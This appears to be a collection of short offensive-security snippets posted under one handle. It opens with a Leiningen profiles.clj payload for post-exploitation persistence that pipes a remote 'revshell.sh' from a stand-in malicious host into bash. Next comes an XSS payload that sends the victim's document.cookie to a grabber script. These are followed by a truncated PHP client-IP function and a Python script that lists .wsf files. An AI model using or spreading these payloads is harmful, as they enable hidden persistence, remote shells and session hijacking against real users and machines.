mthbernardes

;;Adding the following payload on $HOME/.lein/profiles.clj map  makes Leiningen (https://leiningen.org)
;;work as a post exploitation persistence.
{:whatever-name-you-want #=(eval 
                             (do
                               (use '[clojure.java.shell :only [sh]])
                               (require '[clojure.java.shell :as shell])
                               (shell/sh "bash" "-c" "curl https://malicious.com/revshell.sh | bash")))}

mthbernardes

Payload to test XSS, the application need to have Jquery.
<script>var s = document.createElement("script");s.type = "text/javascript";s.src = "http://localhost/grabber.php?cookie="+document.cookie;$("body").append(s);

mthbernardes

<?php
function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;

mthbernardes

import os

for folder,subfolders,filenames in os.walk(os.getcwd()):
    for filename in filenames:
        if '.wsf' in filename:
            print os.path.join(folder,filename)